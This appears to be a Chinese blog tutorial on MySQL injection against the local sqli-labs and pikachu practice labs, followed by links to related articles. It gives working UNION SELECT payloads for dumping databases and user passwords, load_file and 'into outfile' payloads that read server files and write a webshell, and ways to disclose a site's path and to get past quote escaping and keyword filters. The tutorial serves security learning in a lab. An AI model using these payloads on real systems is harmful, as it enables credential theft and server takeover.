#跨库查询及应用思路

information_schema表特性,记录数据库名、表名、列名对应表

information_schema.schemata:存储所有数据库名

schema_name:数据库名

利用sqlilabs第2关进行演示

1.猜解列名数量

可知字段数为3。

2.获取所有数据库名

获取所有数据库名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

可知改系统上有10个数据库

sqlilabs通过查询对应的数据库为security。

3.获得pikachu数据库名下的表名信息

在网站中一个网站对应一个数据库。由上图可知sqlilabs的数据库为security,靶场pikachu对应的数据库名为pikachu。

获取pikachu数据库名下的表名信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

有4张表。

4.获取指定数据库名下的表名的列名信息

获取pikachu据库下的users表的列名信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'

5.获取表数据

获取数据库pikachu数据库中users表中的具体信息:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+

#文件读写操作

读取函数:load_file()

导出函数:into outfile或into dumpfile

读取数据:sele文件的路径’)

1.读取E:\下的test.txt文件

select load_file('e:/test.txt');

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+

2.写入数据

写入数据数据到e盘下的test.txt文件

写入木马方法:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木马',3 into outfile 'e:/test.php' --+

3.路径获取方法

(1).单引号爆路径

就像测试SQL注入一样在参数后面加上单引号。

http://localhost/?id=1'

(2).错误参数值爆路径

通过第一种方式可以会触发waf,因此可以通过错误的参数值来爆网站路径。

http://localhost/?id=-1
http://localhost/?id=oqewe

(3)通过搜索引擎获取

通过搜索引擎语法可能可以获取到网站路径,如:

Site:xxx.com warning
Site:xxx.com "fatal error"
intext:warning

(4)测试文件获取路径

网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:

/test.php
/ceshi.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php
/x.php

(5)配置文件获取路径

如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。

Windows配置文件:

c:\windows\php.ini                                         php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件

Linux配置文件:

/etc/php.ini                                                             php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

XAMPP配置文件:

Xampp文件路径
C:\xampp\htdocs httpd.com配置文件
C:\xampp\apache\conf/httpd.conf vhosts.conf虚拟主机
C:\xampp\apache\onf\extra\httpd-vhosts.conf

phpnow配置文件:

网站默认路径
D:\PHPnow-1.5.6\htdocs httpd.conf配置文件
D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf vhosts.conf虚拟主机
D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf

phpstudy配置文件:

网站默认路径
C:\phpstudy\www httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf vhosts.conf虚拟主机
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf

LAMPP配置文件:

网站默认路径
/opt/lampp/htdocs httpd.conf配置文件
/opt/lampp/etc/httpd.conf vhosts.conf虚拟主机
/opt/lampp/etc/extra/httpd-vhosts.conf

(6)nginx文件类型错误解析爆路径

要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

http://localhost/test.jpg/x.php

(7)phpmyadmin爆路径

/phpmyadmin/themes/darkblue_orange/layout.inc.php

(8)配合远程代码执行漏洞

比如eval()函数可控的话,直接传入phpinfo(),通过phpinfo页面中Document_Root参数获取网站绝对路径。

#常见文件写入问题

1.魔术引号开关

magic_quotes_gpc=on时,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\\test.txt'),3 --+

\\被转义成\\\\,'转义成‘\

绕过方法:

将路径去掉引号采用十六进制编码即可绕过。

2.php语言的addslashes()函数

addslashes()函数与魔术引号作用类似,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。

3.内置函数int

我们修改第2关的php文件

再进行测试

无法注入!且无法绕过

4.自定义关键字

str_replace('select','warning',$id)函数将select替换成warning。

进行测试:

select被修改,修改大小写可以绕过。

sql注入mysql注入的更多相关文章

  1. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  2. SQL 注入~MySQL专题

    Recently, 团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的.今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获.              ...

  3. sql注入--mysql

    mysql数据库结构: 数据库A  --> 表名  --> 列名 --> 数据 数据库B  --> 表名  --> 列名 --> 数据 mysql数据库信息: my ...

  4. SQL注入之DVWA平台测试mysql注入

    今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...

  5. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

  6. 十三:SQL注入之MYSQL注入

    MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆.作为安全开发工作者,攻 ...

  7. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  8. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  9. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

随机推荐

  1. 274-基于XC7V690T的3U VPX信号处理板

    一.板卡概述 本板卡系我司自主研发的基于3U VPX导冷架构的信号处理板,适用于高速图像处理,雷达信号处理等.芯片采用工业级设计.该处理板包含1片Xilinx公司的Virtex7系列FPGA-XC7V ...

  2. 北京太速科技-6U VPX 6槽 Full Mesh结构背板机箱

    一.产品概述 Ori6UVPX6SlotFullMesh264背板机箱 为 6U VPX 6槽 Full Mesh结构,用于实现PCIE.RapidIO IO 4X Full Mesh 高速数据互联, ...

  3. 使用 shell 脚本清理内存 buff/cache

    #!/bin/bash printf "\e[0;32m数据写入硬盘中,请稍等\e[0m\n" #写入硬盘,防止数据丢失 sync;sync;sync printf "\ ...

  4. Dubbo源码剖析六之SPI扩展点的实现之Adaptive功能实现原理

    接Dubbo源码剖析六之SPI扩展点的实现之getExtensionLoader - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)继续分析Adaptive功能实现原理.Adaptive的主 ...

  5. java实现 TCP通信

    //服务端import com.hl.bluetooth.util.CRC16; import com.hl.bluetooth.util.FrameCheckFailedException; imp ...

  6. [虚拟化]虚拟机 XML 配置

    虚拟机 XML 配置示例 虚拟机的 XML 配置(也称为 域 XML )决定虚拟机的设置和组件.下表显示了虚拟机(VM)的 XML 配置示例并解释了其内容. 要获取虚拟机的 XML 配置,您可以使用 ...

  7. 学逆向之web_local

    访问题目就能看到源码 发现host需要是localhost,本来可直接用file/var/www/html/flag.php协议读取源码 那么我们利用file://localhost绕过即可,加上lo ...

  8. Renix软件如何发送CRC错误的报文——网络测试仪实操

    我们在日常使用Renix软件时,有时候需要发送CRC错误的报文,那么如何操作呢?接下来为你详细介绍一下操作步骤. 1.打开Renix软件,连接机框并预约测试端口: 2.添加流模板 3.给P1设置CRC ...

  9. C#析构函数(方法)

    析构方法是在垃圾回收.释放资源时使用的.析构函数用于析构类的实例.备注:    不能在结构中定义析构函数.只能对类使用析构函数.    一个类只能有一个析构函数.    无法继承或重载析构函数.    ...

  10. Qt:QThread

    0.说明 QThread提供了一种与平台无关的线程管理方法. 一个QThread对象管理一个线程.QThread通过run()方法启动线程.默认情况下,run()方法通过exec()启动一个事件循环, ...